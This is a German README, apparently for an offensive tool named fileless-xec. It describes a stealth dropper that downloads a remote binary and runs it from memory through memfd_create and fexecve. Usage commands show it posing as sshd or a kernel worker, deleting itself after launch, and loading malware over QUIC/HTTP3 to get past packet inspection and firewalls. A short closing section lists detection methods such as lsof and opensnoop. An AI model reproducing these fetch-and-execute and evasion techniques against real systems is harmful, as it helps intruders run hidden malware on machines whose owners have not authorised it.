
Stealth-Dropper, der entfernte Binärdateien ausführt, ohne sie auf die Festplatte zu legen (HTTP3-Unterstützung, ICMP-Unterstützung, unsichtbare Spuren, plattformübergreifend,...)

👋 Sicherlich nützlich, hauptsächlich zum Spaß, grob inspiriert vom 0x00 Artikel
Pentest-Einsatz: fileless-xec wird auf dem Zielcomputer verwendet, um eine Binärdatei, die sich auf dem Angreifercomputer befindet, unauffällig auszuführen.
fileless-xec ermöglicht es uns, eine entfernte Binärdatei direkt aus dem Speicher auf einem lokalen Rechner auszuführen, ohne sie auf die Festplatte zu legen.
fileless-xec [binary_url] (~curl | sh für Binärdateien)fileless-xec -n /usr/sbin/sshd [binary_url] fileless-xec --setsid [...]
writeNsleep lokal ausführen, die sich auf einem entfernten Rechner befindet.
Zuerst starten wir einen Python-HTTP-Server auf dem entfernten Rechner.
Lokal verwenden wir fileless-xec und geben uns als /usr/sbin/sshd aus, um die Binärdatei writeNsleep auszuführen (für Tarnung & Spaß). Sobald writeNsleep startet, löscht sich fileless-xec selbst (--self-remove).
fileless-xec selbst entfernenfileless-xec Server-Modus
fileless-xec unter Windowsfileless-xec entfernt sich selbst nach dem StartDie entfernte Binärdatei wird lokal mit dem Syscall memfd_create gespeichert, der sie in einer Speicherdiskette ablegt, die nicht in das Dateisystem eingebunden ist (d.h. Sie können sie nicht mit ls finden).
Hinweis: der Syscall memfd_create existiert für macOS nicht.
Dann führen wir es mit dem Syscall fexecve aus (da er derzeit nicht von der syscall Go-Bibliothek bereitgestellt wird, implementieren wir ihn).
Mit
fexecvekönnen wir ein Programm ausführen, wobei wir das auszuführende Programm über einen Dateideskriptor referenzieren, anstelle des vollständigen Pfads.
Aktivieren Sie es mit dem Flag -Q/http3. Sie können einen leichten Web-Rootfs-Server mit http3-Unterstützung einrichten, indem Sie go run ./test/http3/light-server.go -p LISTENING PORT ausführen (Dies ist das http3-Äquivalent zu python3 -m http.server )Verwenden Sie test/http3/genkey.sh, um Zertifikat und Schlüssel zu generieren.
|
QUIC UDP auch bekannt als http3 ist ein Internetprotokoll der neuen Generation, das Online-Webanwendungen, die anfällig für Verzögerungen sind (wie z.B. Suche, Videostreaming usw.), beschleunigt, indem es die für die Verbindung zu einem Server erforderliche Round-Trip-Zeit (RTT) reduziert.
Da QUIC eine proprietäre Verschlüsselung verwendet, die TLS entspricht (dies wird sich in Zukunft mit einer standardisierten Version ändern), haben Firewalls der 3. Generation, die Anwendungskontrolle und Transparenz bieten, Schwierigkeiten, QUIC-Verkehr zu kontrollieren und zu überwachen.
Wenn Sie fileless-xec tatsächlich als Dropper verwenden (Nur zu Testzwecken oder mit Autorisierung), möchten Sie wahrscheinlich eine Art von Malware oder andere Dateien ausführen, die durch Paketanalyse erkannt werden könnten. Mit Quic können Sie daher die Paketanalyse umgehen und eine Malware LADEN.
Auch wenn die Firewall nur zum Zulassen/Blockieren von Verkehr verwendet wird, kann es passieren, dass Firewall-Regeln das UDP-Protokoll vergessen, wodurch Ihre Anfragen unter dem Radar bleiben.
Obwohl nicht auf der Speicherdiskette vorhanden, kann das laufende Programm dennoch mit dem Befehl ps erkannt werden.
fileless-xec --name <fake_name> <binary_raw_url> standardmäßig ist der Name [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
Sie können dennoch erkannt werden mit:
$ lsof | grep memfd
Oder auch mit opensnoop (aber nicht mit execsnoop)
Oder seccomp-Profil-Auditing des Syscalls execve (dies ist jedoch sehr aufwändig, da z.B. auch der Befehl sleep execve verwendet)